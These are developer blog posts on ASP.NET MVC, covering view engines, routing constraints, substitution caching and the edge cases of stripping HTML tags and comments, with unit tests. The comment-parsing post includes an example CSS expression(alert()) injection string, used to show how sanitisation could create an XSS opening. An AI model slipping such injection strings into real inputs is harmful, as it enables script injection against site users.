The fact that I’m even writing about this might make you suspicious of your initial gut answer. Mine would have been that the first would render a text area with “Foo” on the first line, the second with it on the second line, and the third with it on the third line.

In fact, here’s what it renders using Firefox 3.0.3. I confirmed the same behavior with IE 8 beta 2 and Google Chrome.

three text
areas

Notice that the first two text areas are identical. Why is this important?

Suppose you’re building an ASP.NET MVC website and you call the following bit of code:

<%= Html.TextArea("name", "\r\nFoo") %>

You probably would expect to see the third text area in the screenshot above in which “Foo” is rendered on the second line, not the first.

However, suppose our TextArea helper didn’t factor in the actual behavior that browsers exhibit. You would in this case get the behavior of the second text area in which “Foo” is still on the first line.

Fortunately, our TextArea helper does factor this in and renders the supplied value on the next line after the textarea tag. In my mind, this is very much an edge case, but it was reported as a bug by someone external a while back. Isn’t HTML fun?! ;)

asp.net, asp.net mvc comments suggest edit

One of the relatively obscure features of ASP.NET view rendering is that you can render a single view using multiple view engines.

Brad Wilson actually mentioned this in his monster blog post about Partial Rendering and View Engines in ASP.NET MVC, but the implications may have been lost amongst all that information provided.

One of the best features of this new system is that your partial views can use a different view engine than your views, and it doesn’t require any coding gymnastics to make it happen. It all comes down to how the new view system resolves which view engine renders which views.

Let’s dig into a brief example of this in action to understand the full story. Lately, I’ve been playing around with the Spark view engine lately and really like what I see there. Unlike NHaml which pretty gets rid of all angle brackets via a terse DSL for generating HTML, Spark takes the approach that HTML itself should be the “language” for defining the view.

This is not to say that one is specifically better than the other, I’m just highlighting the difference between the two.

Let’s take a look at a small snippet of Spark markup:

<ul>
  <li each='var p in ViewData.Model.Products'>
    ${p.Name} ${Html.ActionLink("Edit Product", "Edit")}
  </li>  
</ul>

Notice that rather than embedding a for loop in the code, you apply the each attribute to a piece of markup to denote that it should be repeated. This is much more declarative than using code nuggets to define a for loop.

As a demonstration, I thought I would take the default ASP.NET MVC project template and within the Index.aspx view, I would render a partial using the Spark view engine.

After referencing the appropriate assemblies from the Spark project, Spark.dll and Spark.Mvc.dll, I registered the spark view engine in Global.asax.cs like so:

protected void Application_Start() {
    ViewEngines.Engines.Add(new SparkViewFactory());
    RegisterRoutes(RouteTable.Routes);
}

I then created a small spark partial view…

<div class="spark-partial">
    <if condition='ViewData.ContainsKey("Title")'>
        <h1>${ViewData["Title"]}</h1>    
    </if>
    
    <p>${ViewData["Message"]}</p>
    <p>${Html.ActionLink("About Page", "About")}</p>
</div>

… and added it to the appropriate directory. I also added a bit of CSS to my default stylesheet in order to highlight the partial.

views-spark-partial

In my Index.aspx view, I added a call to the Html.RenderPartial helper method.

<p>This is a WebForm View.</p>
<p>But the bordered box below, is a partial rendered using Spark.</p>
<% Html.RenderPartial("SparkPartial"); %>

And the result…

spark partial view
result

When we tell the view to render the partial view named “SparkPartial”, ASP.NET MVC will ask each registered view engine, “Hey, yous happens to knows a partial who goes by the name of SparkPartial? I have some unfinished bidness wid this guy.”

Yes, our view infrastructure speaks like a low level mobster thug.

The first view engine that answers yes, gets to render that particular view or partial view. The benefit of this is that if you create a partial view using one view engine, you can reuse that partial on another site that might use a different view engine as its default.

If you want to try out the demo I created, download it and give it a twirl. It is built against ASP.NET MVC Beta.

asp.net mvc, asp.net comments suggest edit

Quick question? What’s higher than a kite?

No, it’s not me nor Cheech and Chong. It’s a cloud!

Bad jokes (but funny video link) aside, Windows Azure, Microsoft’s foray into cloud computing, is getting a lot of attention right now. The basic idea behind cloud computing is you can host your application in the cloud and pay a monthly fee much like a utility such as paying for water and power.

The benefit is you don’t have to deal with the infrastructure work and maintenance and you get “elastic” scalability, meaning your application can dynamically scale to meet rising need without much work on your part. That’s the idea at least.

The Saturday evening before I left for the PDC, Eilon (lead dev for ASP.NET MVC) and I got together to try out ASP.NET MVC with the Azure Dev Fabric environment. This was something we promised to prototype for Jim Nakashima of the Azure team before the PDC, but were … ah … a little late to deliver. ;)

We had good reason as we had been pre-occupied with getting the Beta release out, but still felt bad for totally dropping the ball, hence the late Saturday night pair programming session.

It turned out that it didn’t take long to get the default ASP.NET MVC project template sample app running in the Dev Fabric, which Jim later posted to his blog. Unfortunately, we didn’t invite a QA person over that evening and didn’t test the entire site thoroughly. While the home and about page worked, the account pages requiring the Membership Provider didn’t. Doh!

Fortunately Jim recently updated the sample to now work with ASP.NET Providers running in the cloud and posted it to his blog. Even before Jim updated the sample we delivered to him, Aaron Lerch posted his own step by step guide to getting providers to work. Nice!

The sample project Jim posted has some fixes to the project that allow it to work in the actual cloud. There were a couple of minor bugs regarding rendering URLs with port numbers when using our form helpers (already fixed in our trunk) that would not affect most people, but does happen to affect running in the cloud.

 

asp.net, asp.net mvc comments suggest edit

I’ve heard a lot of concerns from people worried that the ASP.NET team will stop sparing resources and support for Web Forms in favor of ASP.NET MVC in the future. I thought I would try to address that concern in this post based on my own observations.

At the PDC, a few people explicitly told me, not without a slight tinge of anger, that they don’t get ASP.NET MVC and they like Web Forms just fine thank you very much. Hey man, that’s totally cool with me! Please don’t make me the poster boy for killing Web Forms. If you like Web Forms, it’s here to stay. ;)

I can keep telling you that we’re continuing to invest in Web Forms until my face is blue, but that probably won’t be convincing. So I will instead present the facts and let you draw your own conclusions.

ASP.NET Themes

If you watch the ASP.NET 4.0 Roadmap talk at PDC, you’ll see that there are five main areas of investment that the ASP.NET team is working on. I’ll provide a non-comprehensive brief summary of the five here.

Core Infrastructure

With our core infrastructure, we’re looking to address key customer pain points and improve scale and performance.

One feature towards this goal is cache extensibility which will allow plugging in other cache products such as Velocity as a cache provider. We’ll also enhance ASP.NET Session State APIs. There are other scalability investments I don’t even personally understand all too deeply. ;)

To learn more about our cache extensibility plans, check out this PDC talk by Stefan Schackow.

Web Forms

In WebForms, we’re looking to address Client IDs which allow developers to control the id attribute value rendered by server controls. We’re adding support for URL routing with Web Forms. We’re planning to improve ViewState management by providing fine grain control over it. And we’re making investments in making our controls more CSS friendly. There are many other miscellaneous improvements to various control we’re making that would require me to query and filter the bug database to list, and I’m too lazy to do that right now.

AJAX

With Ajax, we’re implementing client side templates and data binding. Our team now owns the Ajax Control Toolkit so we’re looking at opportunities to possibly roll some of those server controls into the core framework. And of course, we’ve added jQuery to our offerings along with jQuery Intellisense.

To see more about our investments here, check out Bertrand Le Roy’s Ajax talk at PDC.

Data and Dynamic Data

In Dynamic Data (which technically could fall in the Web Forms bucket) we’re looking to add support for an abstract data layer which would allow for POCO scaffolding. We’re implementing many-to-many relationships, enhanced filtering, enhanced meta-data, and adding new field templates.

There’s a lot of cool stuff happening here. To get more details on this, check out Scott Hunter’s Dynamic Data talk at PDC.

ASP.NET MVC

We’re still working on releasing 1.0. In the future, we hope to leverage some of the Dynamic Data work into ASP.NET MVC.

Notice here that ASP.NET MVC is just one of these five areas we’re investing in moving forward. It’s not somehow starving our efforts in other areas.

Feature Sharing

One other theme I’d like to highlight is that when we evaluate new features, we try and take a hard look at how it fits into the entire ASP.NET architecture as a whole, looking both at ASP.NET MVC and ASP.NET Web Forms. In many cases, we can share the bulk of the feature with both platforms with a tiny bit of extra work.

For example, ASP.NET Routing was initially an ASP.NET MVC feature only, but we saw it could be more broadly useful and it was shared with Dynamic Data. It will eventually make its way into Web Forms as well. Likewise, Dynamic Data started off as a Web Forms specific feature, but much of it will make its way into ASP.NET MVC in the future.

Conclusions

It’s clear that ASP.NET MVC is getting a lot of attention in part because it is shiny and new, and you know how us geeks loves us some shiny new toys. Obviously, I don’t believe this is the only reason it’s getting attention, as there is a lot of goodness in the framework, but I can see how all this attention tends to skew perceptions slightly. To put it in perspective, let’s look at the reality.

Currently, ASP.NET MVC hasn’t even been released yet. While the number of users interested in and building on ASP.NET MVC is growing, it is clearly a small number compared to the number of Web Form developers we have.

Meanwhile, we have millions of ASP.NET developers productively using Web Forms, many of whom are just fine with the Web Form model as it meets their needs. As much as I love the ASP.NET MVC way of doing things, I understand it doesn’t suit everyone, nor every scenario.

So with all this investment going on, I hope it’s clear that we are continuing to invest in Web Forms along with the entire ASP.NET framework.

code comments suggest edit

UPDATE: I added three new unit tests and one interesting case in which the three browser render something differently.

Well I’m back at it, but this time I want to strip all HTML from a string. Specifically:

  • Remove all HTML opening and self-closing tags: Thus <foo> and <foo /> should be stripped.
  • Remove all HTML closing tags such as </p>.
  • Remove all HTML comments.
  • Do not strip any text in between tags that would be rendered by the browser.

This may not sound all that difficult, but I have a feeling that many existing implementations out there would not pass the set of unit tests I wrote to verify this behavior.

I’ll present some pathological cases to demonstrate some of the odd edge cases.

We’ll start with a relative easy one.

<foo title=">" />

Notice that this tag contains the closing angle bracket within an attribute value. That closing bracket should not close the tag. Only the one outside the attribute value should close it. Thus, the method should return an empty string in this case.

Here’s another case:

<foo =test>title />

This is a non quoted attribute value, but in this case, the inner angle bracket should close the tag, leaving you with “title />”.

Here’s a case that surprised me.

<foo<>Test

That one strips everything except “<>Test”.

It gets even better…

<foo<!>Test

strips out everything except “Test”.

And finally, here’s one that’s a real doozy.

<foo<!--foo>Test

Check out how FireFox, IE, and Google Chrome render this same piece of markup.

weird-markup-chrome

weird-markup-ff

weird-markup-ie

One of these kids is doing his own thing! ;) For my unit test, I decided to go with majority rules here (I did not test with Opera) and went with the behavior of the two rather than Firefox.

The Challenge

The following is the shell of a method for stripping HTML from a string based on the requirements listed above.

public static class Html {
  public static string StripHtml(string html) {
    throw new NotImplementedException("implement this");
  }
}

Your challenge, should you choose to accept it, is to implement this method such that the following unit tests pass. I apologize for the small font, but I used some long names and wanted it to fit.

[TestMethod]
public void NullHtml_ThrowsArgumentException() {
    try {
        Html.StripHtml(null);
        Assert.Fail();
    }
    catch (ArgumentNullException) {
    }
}

[TestMethod]
public void Html_WithEmptyString_ReturnsEmpty() {
    Assert.AreEqual(string.Empty, Html.StripHtml(string.Empty));
}

[TestMethod]
public void Html_WithNoTags_ReturnsTextOnly() {
    string html = "This has no tags!";
    Assert.AreEqual(html, Html.StripHtml(html));
}

[TestMethod]
public void Html_WithOnlyATag_ReturnsEmptyString() {
    string html = "<foo>";
    Assert.AreEqual(string.Empty, Html.StripHtml(html));
}

[TestMethod]
public void Html_WithOnlyConsecutiveTags_ReturnsEmptyString() {
    string html = "<foo><bar><baz />";
    Assert.AreEqual(string.Empty, Html.StripHtml(html));
}

[TestMethod]
public void Html_WithTextBeforeTag_ReturnsText() {
    string html = "Hello<foo>";
    Assert.AreEqual("Hello", Html.StripHtml(html));
}

[TestMethod]
public void Html_WithTextAfterTag_ReturnsText() {
    string html = "<foo>World";
    Assert.AreEqual("World", Html.StripHtml(html));
}

[TestMethod]
public void Html_WithTextBetweenTags_ReturnsText() {
    string html = "<p><foo>World</foo></p>";
    Assert.AreEqual("World", Html.StripHtml(html));
}

[TestMethod]
public void Html_WithClosingTagInAttrValue_StripsEntireTag() {
    string html = "<foo title=\"/>\" />";
    Assert.AreEqual(string.Empty, Html.StripHtml(html));
}

[TestMethod]
public void Html_WithTagClosedByStartTag_StripsFirstTag() {
    string html = "<foo <>Test";
    Assert.AreEqual("<>Test", Html.StripHtml(html));
}

[TestMethod]
public void Html_WithSingleQuotedAttrContainingDoubleQuotesAndEndTagChar_StripsEntireTag() { 
    string html = @"<foo ='test""/>title' />";
    Assert.AreEqual(string.Empty, Html.StripHtml(html));
}

[TestMethod]
public void Html_WithDoubleQuotedAttributeContainingSingleQuotesAndEndTagChar_StripsEntireTag() {
    string html = @"<foo =""test'/>title"" />";
    Assert.AreEqual(string.Empty, Html.StripHtml(html));
}

[TestMethod]
public void Html_WithNonQuotedAttribute_StripsEntireTagWithoutStrippingText() {
    string html = @"<foo title=test>title />";
    Assert.AreEqual("title />", Html.StripHtml(html));
}

[TestMethod]
public void Html_WithNonQuotedAttributeContainingDoubleQuotes_StripsEntireTagWithoutStrippingText() {
    string html = @"<p title = test-test""-test>title />Test</p>";
    Assert.AreEqual("title />Test", Html.StripHtml(html));
}

[TestMethod]
public void Html_WithNonQuotedAttributeContainingQuotedSection_StripsEntireTagWithoutStrippingText() {
    string html = @"<p title = test-test""- >""test> ""title />Test</p>";
    Assert.AreEqual(@"""test> ""title />Test", Html.StripHtml(html));
}

[TestMethod]
public void Html_WithTagClosingCharInAttributeValueWithNoNameFollowedByText_ReturnsText() {
    string html = @"<foo = "" />title"" />Test";
    Assert.AreEqual("Test", Html.StripHtml(html));
}

[TestMethod]
public void Html_WithTextThatLooksLikeTag_ReturnsText() {
    string html = @"<çoo = "" />title"" />Test";
    Assert.AreEqual(html, Html.StripHtml(html));
}

[TestMethod]
public void Html_WithCommentOnly_ReturnsEmptyString() {
    string s = "<!-- this go bye bye>";
    Assert.AreEqual(string.Empty, Html.StripHtml(s));
}

[TestMethod]
public void Html_WithNonDashDashComment_ReturnsEmptyString() {
    string s = "<! this go bye bye>";
    Assert.AreEqual(string.Empty, Html.StripHtml(s));
}

[TestMethod]
public void Html_WithTwoConsecutiveComments_ReturnsEmptyString() {
    string s = "<!-- this go bye bye><!-- another comment>";
    Assert.AreEqual(string.Empty, Html.StripHtml(s));
}

[TestMethod]
public void Html_WithTextBeforeComment_ReturnsText() {
    string s = "Hello<!-- this go bye bye -->";
    Assert.AreEqual("Hello", Html.StripHtml(s));
}

[TestMethod]
public void Html_WithTextAfterComment_ReturnsText() {
    string s = "<!-- this go bye bye -->World";
    Assert.AreEqual("World", Html.StripHtml(s));
}

[TestMethod]
public void Html_WithAngleBracketsButNotHtml_ReturnsText() {
    string s = "<$)*(@&$(@*>";
    Assert.AreEqual(s, Html.StripHtml(s));
}

[TestMethod]
public void Html_WithCommentInterleavedWithText_ReturnsText() {
    string s = "Hello <!-- this go bye bye --> World <!--> This is fun";
    Assert.AreEqual("Hello  World  This is fun", Html.StripHtml(s));
}

[TestMethod]
public void Html_WithCommentBetweenNonTagButLooksLikeTag_DoesStripComment() {
    string s = @"<ç123 title=""<!bc def>"">";
    Assert.AreEqual(@"<ç123 title="""">", Html.StripHtml(s));
}


[Test]
public void Html_WithTagClosedByStartComment_StripsFirstTag()
{
    //Note in Firefox, this renders: <!--foo>Test
    string html = "<foo<!--foo>Test";
    Assert.AreEqual("Test", HtmlHelper.RemoveHtml(html));
}

[Test]
public void Html_WithTagClosedByProperComment_StripsFirstTag()
{
    string html = "<FOO<!-- FOO -->Test";
    Assert.AreEqual("Test", HtmlHelper.RemoveHtml(html));
}

[Test]
public void Html_WithTagClosedByEmptyComment_StripsFirstTag()
{
    string html = "<foo<!>Test";
    Assert.AreEqual("Test", HtmlHelper.RemoveHtml(html));
}

What’s the moral of this story, apart from “Phil has way too much time on his hands?” In part, it’s that parsing HTML is fraught with peril. I wouldn’t be surprised if there are some cases here that I’m missing. If so, let me know. I used FireFox’s DOM Explorer to help verify the behavior I was seeing.

I think this is also another example of the challenges of software development in general along with the 80-20 rule. It’s really easy to write code that handles 80% of the cases. Most of the time, that’s good enough. But when it comes to security code, even 99% is not good enough, as hackers will find that 1% and exploit it.

In any case, I think I’m really done with this topic for now. I hope it was worthwhile. And as I said, I’ll post my code solution to this later. Let me know if you find missing test cases.

Technorati Tags: html,parsing

code, regex comments suggest edit

A while ago I wrote a blog post about how painful it is to properly parse an email address. This post is kind of like that, except that this time, I take on HTML.

I’ve written about parsing HTML with a regular expression in the past and pointed out that it’s extremely tricky and probably not a good idea to use regular expressions in this case. In this post, I want to strip out HTML comments. Why?

I had some code that uses a regular expression to strip comments from HTML, but found one of those feared “pathological” cases in which it seems to never complete and pegs my CPU at 100% in the meanwhile. I figure I might as well look into trying a character by character approach to stripping HTML.

It sounds easy at first, and my first attempt was roughly 34 lines of procedural style code. But then I started digging into the edge cases. Take a look at this:

<p title="<!-- this is a comment-->">Test 1</p>

Should I strip that comment within the attribute value or not? Technically, this isn’t valid HTML since the first angle bracket within the attribute value should be encoded. However, the three browsers I checked (IE 8, FF3, Google Chrome) all honor this markup and render the following.

funky
comment

Notice that when I put the mouse over “Test 1” and the browser rendered the value of the title attribute as a tooltip. That’s not even the funkiest case. Check this bit out in which my comment is an unquoted attribute value. Ugly!

<p title=<!this-comment>Test 2</p>

Still, the browsers dutifully render it:

funkier-comment 

At this point, It might seem like I’m spending too much time worrying about crazy edge cases, which is probably true. Should I simply strip these comments even if they happen to be within attribute values because they’re technically invalid. However, it worries me a bit to impose a different behavior than the browser does.

Just thinking out loud here, but what if the user can specify a style attribute (bad idea) for an element and they enter:

<!>color: expression(alert('test'))

Which fully rendered yields: <p style="<!>color: expression(alert('test'))">

If we strip out the comment, then suddenly, the style attribute might lend itself to an attribute based XSS attack.

I tried this on the three browsers I mentioned and nothing bad happened, so maybe it’s a non issue. But I figured it would probably make sense to go ahead and strip the HTML comments in the cases that the browser. So I decided to not strip any comments within an HTML tag, which means I have to identify HTML tags. That starts to get a bit ugly as <foo > is assumed to be an HTML tag and not displayed while <çoo /> is just content and displayed.

Before I show the code, I should clarify something. I’ve been a bit imprecise here. Technically, a comment starts with a – character, but I’ve referred to markup such as <!> as being a comment. Technically it’s not, but it behaves like one in the sense that the browser DOM recognizes it as such. With HTML you can have multiple comments between the <! and the > delimiters according to section 3.2.5 of RFC 1866.

3.2.5. Comments

   To include comments in an HTML document, use a comment declaration. A
   comment declaration consists of `<!' followed by zero or more
   comments followed by `>'. Each comment starts with `--' and includes
   all text up to and including the next occurrence of `--'. In a
   comment declaration, white space is allowed after each comment, but
   not before the first comment.  The entire comment declaration is
   ignored.

      NOTE - Some historical HTML implementations incorrectly consider
      any `>' character to be the termination of a comment.

   For example:

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <HEAD>
    <TITLE>HTML Comment Example</TITLE>
    <!-- Id: html-sgml.sgm,v 1.5 1995/05/26 21:29:50 connolly Exp  -->
    <!-- another -- -- comment -->
    <!>
    </HEAD>
    <BODY>
    <p> <!- not a comment, just regular old data characters ->

The code I wrote today was straight up old school procedural code with no attempt to make it modular, maintainable, object oriented, etc… I posted it to refactormycode.com here with the unit tests I defined.

In the end, I might not use this code as I realized later that what I really should be doing in the particular scenario I have is simply stripping all HTML tags and comments. In any case, I hope to never have to parse HTML again. ;)

humor, personal comments suggest edit

During my talk at the PDC, I heeded Hanselman’s call to action and decided to veer away from the Northwind “Permademo” and build something different.

In the middle of the talk, I unveiled that I was going to build a competitor to StackOverflow which I would call HaackOverflow. This was all news to Jeff as he hadn’t seen the demo until that point.

The demo walked through some basics of building a standards based ASP.NET MVC application, and sprinkled in a bit of AJAX. At the very end, I swapped out the site.css file and added an image and changed the site from the drab default blue template to something that looked similar in spirit to StackOverflow.

haackoverflow-logo-250

If you haven’t seen the talk yet, you can watch it on Channel9. Also, the links to my slides and the source code are also available on that page.

I only mention it now because Jeff recently Twittered a link to the Reddit Remix of the StackOverflow logo, which reminded of my own hack job on their logo.

Technorati Tags: stackoverflow,pdc08

asp.net, code, asp.net mvc comments suggest edit

Usability and Discoverability (also referred to as Learnability) are often confused with one another, but they really are distinct concepts. In Joel Spolsky’s wonderful User Interface Design for Programmers (go read it!), Joel provides an metaphor to highlight the difference.

It takes several weeks to learn how to drive a car. For the first few hours behind the wheel, the average teenager will swerve around like crazy. They will pitch, weave, lurch, and sway. If the car has a stick shift they will stall the engine in the middle of busy intersections in a truly terrifying fashion. \ If you did a usability test of cars, you would be forced to conclude that they are simply unusable.

Scary
Driver

This is a crucial distinction. When you sit somebody down in a typical usability test, you’re really testing how learnable your interface is, not how usable it is. Learnability is important, but it’s not everything. Learnable user interfaces may be extremely cumbersome to experienced users. If you make people walk through a fifteen-step wizard to print, people will be pleased the first time, less pleased the second time, and downright ornery by the fifth time they go through your rigamarole.

Sometimes all you care about is learnability: for example, if you expect to have only occasional users. An information kiosk at a tourist attraction is a good example; almost everybody who uses your interface will use it exactly once, so learnability is much more important than usability.

Rick Osborne in his post, Usability vs Discoverability, also covers this distinction, while Scott Berkun points out in his post on The Myth of Discoverability that you can’t have everything be discoverable.

These are all exmaples of the principle that there is no such thing as a perfect design. Design always consists of trade-offs.

Let’s look at an example using a specific feature of ASP.NET Routing that illustrates this trade-off. One of the things you can do with routes is specify constraints for the various URL parameters via the Constraints property of the Route class.

The type of this property is RouteValueDictionary which contains string keys mapped to object values. Note that by having the values of this dictionary be of type object, the value type isn’t very descriptive of what the value should be. This hurts learnability, but let’s dig into why we did it this way.

One of the ways you can specify the value of a constraint is via a regular expression string like so:

Route route = new Route("{foo}/{bar}", new MyRouteHandler());
route.Constraints = 
  new RouteValueDictionary {{"foo", "abc.*"}, {"bar", "\w{4}"}};
RouteTable.Routes.Add(route);

This route specifies that the foo segment of the URL must start with “abc” and that the bar segment must be four characters long. Pretty dumb, yeah, but it’s just an example to get the point across.

We figure that in 99.9% of the cases, developers will use regular expression constraints. However, there are several cases we identified in which a regular expression string isn’t really appropriate, such as constraining the HTTP Method. We could have hard coded the special case, which we originally did, but decided to make this extensible because more cases started cropping up that were difficult to handle. This is when we introduced the IRouteConstraint interface.

At this point, we had a decision to make. We could have changed the the type of the Constraints property to something where the values are of type IRouteConstraint rather than object in order to aid discoverability. Doing this would require that we then implement and include a RegexConstraint along with an HttpMethodConstraint.

Thus the above code would look like:

Route route = new Route("{foo}/{bar}", new MyRouteHandler());
route.Constraints = 
  new RouteConstraintDictionary {{"foo", new RegexConstraint("abc.*")}, 
    {"bar", new RegexConstraint("\w{4}")}};
RouteTable.Routes.Add(route);

That’s definitely more discoverable, but at the cost of usability in the general case (note that I didn’t even include other properties of a route you would typically configure). For most users, who stick to simple regular expression constraints, we’ve just made the API more cumbersome to use.

It would’ve been really cool if we could monkey patch an implicit conversion from string to RegexConstraint as that would have made this much more usable. Unfortunately, that’s not an option.

So we made the call to favor usability in this one case at the expense of discoverability, and added the bit of hidden magic that if the value of an item in the constraints dictionary is a string, we treat it as a regular expression. But if the value is an instance of a type that implements IRouteConstraint, we’d call the Match method on it.

It’s not quite as discoverable the first time, but after you do it once, you’ll never forget it and it’s much easier to use every other time you use it.

Making Routing with MVC More Usable

Keep in mind that Routing is a separate feature from ASP.NET MVC. So what I’ve covered applies specifically to Routing.

When we looked at how Routing was used in MVC, we realized we had room for improving the usability. Pretty much every time you define a route, the route handler you’ll use is MvcRouteHandler it was odd to require users to always specify that for every route. Not only that, but once you got used to routing, you’d like a shorthand for defining defaults and constraints without having to go through the full collection initializer syntax for RouteValueDictionary.

This is when we created the set of MapRoute extension methods specific to ASP.NET MVC to provide a façade for defining routes. Note that if you prefer the more explicit approach, we did not remove the RouteCollection’s Add method. We merely layered on the MapRoute extensions to RouteCollection to make defining routes simpler. Again, a trade-off in that the arguments to the MapRoute methods are not as discoverable as using the explicit approach, but they are usable once you understand how they work.

Addressing Criticisms

We spent a lot of time thinking about these design decisions and trade-offs, but it goes without saying that it will invite criticisms. Fortunately, part of my job description is to have a thick skin. ;)

In part, by favoring usability in this case, we’ve added a bit of friction for those who are just starting out with ASP.NET MVC, just like in Joel’s example of the teenager learning to drive. However, after multiple uses, it becomes second nature, which to me signifies that it is usable. Rather than a flaw in our API, I see this more as a deficiency in our documentation and Intellisense support, but we’re working on that. This is an intentional trade-off we made based on feedback from people building multiple applications.

But I understand it won’t please everyone. What would be interesting for me to hear is whether these usability enhancements work. After you struggle to define constraints the first time, was it a breeze the next time and the time after that, especially when compared to the alternative?

asp.net mvc, asp.net, code comments suggest edit

UPDATE: Due to differences in the way that ASP.NET MVC 2 processes request, data within the substitution block can be cached when it shouldn’t be. Substitution caching for ASP.NET MVC is not supported and has been removed from our ASP.NET MVC Futures project.

This technique is NOT RECOMMENDED for ASP.NET MVC 2.

With ASP.NET MVC, you can easily cache the output of an action by using the OutputCacheAttribute like so.

[OutputCache(Duration=60, VaryByParam="None")]
public ActionResult CacheDemo() {
  return View();
}

One of the problems with this approach is that it is an all or nothing approach. What if you want a section of the view to not be cached?

mmmm-doughnut Well ASP.NET does include a <asp:Substitution …/> control which allows you to specify a method in your Page class that gets called every time the page is requested. ScottGu wrote about this way back when in his post on Donut Caching.

However, this doesn’t seem very MVC-ish, as pointed out by Maarten Balliauw in this post in which he implements his own means for adding output cache substitution.

However, it turns out that the Substitution control I mentioned earlier makes use of an existing API that’s already publicly available in ASP.NET. The HttpResponse class has a WriteSubstitution method which accepts an HttpResponseSubstitutionCallback delegate. The method you supply is given an HttpContext instance and allows you to return a string which is displayed in place of the substitution point.

I thought it’d be interesting to create an Html helper which makes use of this API, but supplies an HttpContextBase instead of an HttpContext. Here’s the source code for the helper and delegate.

public delegate string MvcCacheCallback(HttpContextBase context);

public static object Substitute(this HtmlHelper html, MvcCacheCallback cb) {
    html.ViewContext.HttpContext.Response.WriteSubstitution(
        c => HttpUtility.HtmlEncode(
            cb(new HttpContextWrapper(c))
        ));
    return null;
}

The reason this method returns a null object is to make the usage of it seem natural. Let me show you the usage and you’ll see what I mean. Referring back to the controller code at the beginning of this post, imagine you have the following markup in your view.

<!-- this is cached -->
<%= DateTime.Now %>

<!-- and this is not -->
<%= Html.Substitute(c => DateTime.Now.ToString()) %>

On the first request to this action, the entire page is rendered dynamically and you’ll see both dates match. But when you refresh, only the lambda expression is called and is used to replace that portion of the cached view.

I have to thank Dmitry, our PUM and the first developer on ASP.NET way back in the day who pointed out this little known API method to me. :)

We will be looking into hopefully including this in v1 of ASP.NET MVC, but I make no guarantees.